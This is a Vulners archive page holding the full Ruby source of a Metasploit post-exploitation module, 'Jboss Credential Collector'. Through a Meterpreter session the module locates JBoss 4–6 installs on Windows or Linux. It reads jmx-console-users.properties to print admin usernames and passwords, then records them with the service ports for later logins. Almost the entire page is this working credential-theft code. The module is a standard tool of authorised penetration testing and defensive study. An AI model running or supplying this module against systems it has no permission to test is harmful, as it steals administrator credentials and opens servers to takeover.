Lucene search
K

Jboss Credential Collector

🗓️ 24 Feb 2017 10:18:01Reported by Koen Riepe (koen.riepe <Koen Riepe ([email protected])>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 42 Views

This module extracts Jboss admin passwords for versions 4, 5, and 6

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'nokogiri'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Linux::System

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Jboss Credential Collector',
        'Description' => %q{
          This module can be used to extract the Jboss admin passwords for version 4,5 and 6.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Koen Riepe ([email protected])' ],
        'Platform' => [ 'linux', 'win' ],
        'SessionTypes' => [ 'meterpreter' ]
      )
    )
  end

  def report_creds(user, pass, port)
    return if (user.empty? || pass.empty?)

    # Assemble data about the credential objects we will be creating
    credential_data = {
      origin_type: :session,
      post_reference_name: fullname,
      private_data: pass,
      private_type: :password,
      session_id: session_db_id,
      username: user,
      workspace_id: myworkspace_id
    }

    credential_core = create_credential(credential_data)

    if !port.is_a? Integer
      print_error('Failed to detect port, defaulting to 8080 for creds database')
      port = 8080
    end

    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED,
      address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
      port: port,
      service_name: 'jboss',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }
    create_credential_login(login_data)
  end

  def getpw(file, ports)
    i = 0
    file.each do |pwfile|
      begin
        print_status("Getting passwords from: #{pwfile}")
        lines = read_file(pwfile).split("\n")
      rescue StandardError
        print_error("Cannot open #{pwfile}, you probably do not have permissions to open the file.")
        next
      end
      for line in lines
        next if line.include? '#'

        creds = line.split('=')
        print_good("Credentials found - Username: #{creds[0]} Password: #{creds[1]}")
        report_creds(creds[0], creds[1], ports[i])
      end
      i += 1
    end
  end

  def getversion(array)
    i = 0
    version = 'NONE'
    results = []
    while i < array.count
      downcase = array[i].downcase
      if downcase.include? 'jboss'
        begin
          file = read_file(array[i])
        rescue StandardError
          print_error("Cannot open #{array[i]}, you probably do not have permissions to open the file.")
          next
        end
        xml_doc = Nokogiri::XML(file)
        xml_doc.xpath('//jar-versions//jar').each do |node|
          if node['name'] == 'jbossweb.jar'
            version = node['specVersion'][0]
            results.push(version)
          end
        end
      end
      if version != 'NONE'
        print_status("Found a Jboss installation version: #{version}")
        home = readhome(cmd_exec('printenv').split("\n"))
        pwfiles = getpwfiles(cmd_exec('locate jmx-console-users.properties').split("\n"), home, version)
        listenports = getports(version)
        getpw(pwfiles, listenports)
      end
      i += 1
    end
  end

  def wingetversion(array, home)
    i = 0
    version = 'NONE'
    results = []
    while i < array.count
      downcase = array[i].downcase
      if downcase.include? 'jboss'
        file = read_file(array[i])
        xml_doc = Nokogiri::XML(file)
        xml_doc.xpath('//jar-versions//jar').each do |node|
          if node['name'] == 'jbossweb.jar'
            version = node['specVersion'][0]
            results.push(version)
          end
        end
      end
      if version != 'NONE'
        print_status("Found a Jboss installation version: #{version}")
        instances = wingetinstances(home, version)
        pwfiles = winpwfiles(instances)
        listenports = wingetport(instances)
        getpw(pwfiles, listenports)
      end
      i += 1
    end
  end

  def readhome(array)
    home = ''
    array.each do |item|
      if item.include? 'JBOSS_HOME'
        home = item.split('JBOSS_HOME=')[1]
      end
    end
    return home
  end

  def getpwfiles(array, home, version)
    pwfiles = []
    array.each do |location|
      if location.include?(home && version)
        pwfiles.push(location)
      end
    end
    return pwfiles
  end

  def getports(version)
    type1 = cmd_exec('locate bindings-jboss-beans.xml').split("\n")
    type2 = cmd_exec('locate jboss-web.deployer/server.xml').split("\n")
    port = []
    type1.each do |file1|
      next unless file1 && file1.include?(version)

      print_status("Attempting to extract Jboss service ports from: #{file1}")
      begin
        file1_read = read_file(file1).split("\n")
      rescue StandardError
        print_error("Cannot open #{file1}, you probably do not have permissions to open the file.")
        next
      end
      parse = false
      portfound = false
      file1_read.each do |line|
        if line.strip.include? 'deploy/httpha-invoker.sar'
          parse = true
        elsif ((line.strip == '</bean>') && portfound)
          parse = false
        elsif parse && line.include?('<property name="port">')
          portnr = line.split('<property name="port">')[1].split('<')[0].to_i
          port.push(portnr)
          portfound = true
          print_good("Jboss port found: #{portnr}")
        end
      end
    end

    type2.each do |file2|
      next unless file2 && file2.include?(version)

      print_status("Attempting to extract Jboss service ports from: #{file2}")
      begin
        xml2 = Nokogiri::XML(read_file(file2))
      rescue StandardError
        print_error("Cannot open #{file2}, you probably do not have permissions to open the file.")
        next
      end
      xml2.xpath('//Server//Connector').each do |connector|
        next unless connector['protocol'].include? 'HTTP'

        portnr = connector['port'].to_i
        port.push(portnr)
        print_good("Jboss port found: #{portnr}")
        break
      end
    end
    return port
  end

  def gathernix
    print_status('Unix OS detected, attempting to locate Jboss services')
    version = getversion(cmd_exec('locate jar-versions.xml').split("\n"))
  end

  def winhome
    home = []
    exec = cmd_exec('WMIC PROCESS get Caption,Commandline').split("\n")
    exec.each do |line|
      next unless line.downcase.include?('java.exe') && line.downcase.include?('jboss')

      print_status('Jboss service found')
      parse = line.split('-classpath "')[1].split('\\bin\\')[0]
      if parse[0] == ';'
        home.push(parse.split(';')[1])
      else
        home.push(parse)
      end
    end
    return home
  end

  def wingetinstances(home, version)
    instances = []
    instance_location = "#{home}\\server"
    exec = cmd_exec("cmd /c dir #{instance_location}").split("\n")
    exec.each do |instance|
      next unless instance.split('<DIR>')[1] && ((!instance.split('<DIR>')[1].strip.include? '.') && (!instance.split('<DIR>')[1].strip.include? '..'))

      instance_path = "#{home}\\server\\#{instance.split('<DIR>')[1].strip}"
      if instance_path.include? version
        instances.push(instance_path)
      end
    end
    return instances
  end

  def winpwfiles(instances)
    files = []
    instances.each do |seed|
      file_path = "#{seed}\\conf\\props\\jmx-console-users.properties"
      if exist?(file_path)
        files.push(file_path)
      end
    end
    return files
  end

  def wingetport(instances)
    port = []
    instances.each do |seed|
      path1 = "#{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml"
      path2 = "#{seed}\\deploy\\jboss-web.deployer\\server.xml"

      if exist?(path1)
        file1 = read_file("#{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml").split("\n")
      end

      if exist?(path2)
        file2 = read_file("#{seed}\\deploy\\jboss-web.deployer\\server.xml")
      end

      if file1
        print_status("Attempting to extract Jboss service ports from: #{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml")
        parse = false
        portfound = false
        file1.each do |line|
          if line.strip.include? 'deploy/httpha-invoker.sar'
            parse = true
          elsif ((line.strip == '</bean>') && portfound)
            parse = false
          elsif parse && line.include?('<property name="port">')
            portnr = line.split('<property name="port">')[1].split('<')[0].to_i
            port.push(portnr)
            portfound = true
            print_good("Jboss port found: #{portnr}")
          end
        end
      end

      next unless file2

      print_status("Attempting to extract Jboss service ports from: #{seed}\\deploy\\jboss-web.deployer\\server.xml")
      xml2 = Nokogiri::XML(file2)
      xml2.xpath('//Server//Connector').each do |connector|
        next unless connector['protocol'].include? 'HTTP'

        portnr = connector['port'].to_i
        port.push(portnr)
        print_good("Jboss port found: #{portnr}")
        break
      end
    end
    return port
  end

  def gatherwin
    print_status('Windows OS detected, enumerating services')
    homeArray = winhome
    if !homeArray.empty?
      homeArray.each do |home|
        version_file = []
        version_file.push("#{home}\\jar-versions.xml")
        version = wingetversion(version_file, home)
      end
    else
      print_status('No Jboss service has been found')
    end
  end

  def run
    if sysinfo['OS'].include? 'Windows'
      gatherwin
    else
      gathernix
    end
  rescue StandardError
    print_error('sysinfo function not available, you are probably using a wrong meterpreter.')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation